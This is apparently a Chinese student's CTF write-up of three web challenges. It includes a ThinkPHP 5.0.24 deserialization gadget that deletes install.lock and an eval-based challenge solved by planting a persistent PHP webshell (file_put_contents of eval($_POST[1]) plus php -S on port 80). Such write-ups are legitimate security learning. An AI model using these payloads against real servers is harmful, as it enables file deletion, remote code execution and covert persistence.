前言
中秋节没啥事,看到学长在做这个比赛的题目,也来看看,题目挺简单的,就是第三题没见过,学习一下
第一题
0e弱类型
第二题
一个典型的控制器类定义如下:
namespace app\index\controller;
class Index { public function index() { return 'index'; } }
|
控制器类文件的实际位置是
application\index\controller\Index.php
|
当控制器的定义为:
namespace app\index\controller;
class Index { public function hello() { return 'hello,world!'; }
public function data() { return ['name'=>'thinkphp','status'=>1]; }
}
|
那么想要访问不同的路由就要:
http://localhost/index.php/index/Index/hello http://localhost/index.php/index/Index/data
|
回来看一下源码要访问下面的内容的路由就为
/index.php/index/index/backdoor
|
访问以后说
/../../'."install.lock has not been deleted";
|
这个文件存在,无法进行下一步,所以首先要将这个文件删除
看了一下源码有一个反序列化,随便输入一个数字,报错发现是tp5.0.24的框架,搜索了一下,有一条链子,但是是任意文件写入的链子,看了一下源码,在入口就有一个unlink函数
所以
<?php namespace think\process\pipes;
class Windows { private $files=[];
function __construct(){ $this->files = ['/var/www/html/application/index/controller/../../install.lock']; }
} echo urlencode(serialize(new Windows()));
|
链子长这样就行了=-=

img
然后就是post一个cmd参数去拿flag由于最后的flag有个正则匹配,所以要绕过,一般绕过关键字用通配符啥的都行,但是这里外面包裹了单引号,就需要使用不可打印的字符进行绕过了,这点到时候磨了很久,还有个更无语的就是,不知道为啥在网页那边用hackbar发送出去没有flag,而在burp里面才可以

img
第三题
<?php
error_reporting(0); highlight_file(__FILE__);
$a=$_GET['action'];
switch($a){ case 'cmd': eval($_POST['cmd']); break; case 'check': file_get_contents("http://checker/api/check"); break; default: die('params not validate'); }
|
不是很懂题目的意思,看了wp以后,推测是让php出在休眠状态不作反应,这样在check的时候权限就维持在原来的状态了
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("sleep 5 %26%26 php -S 0.0.0.0:80 -t /tmp/");
|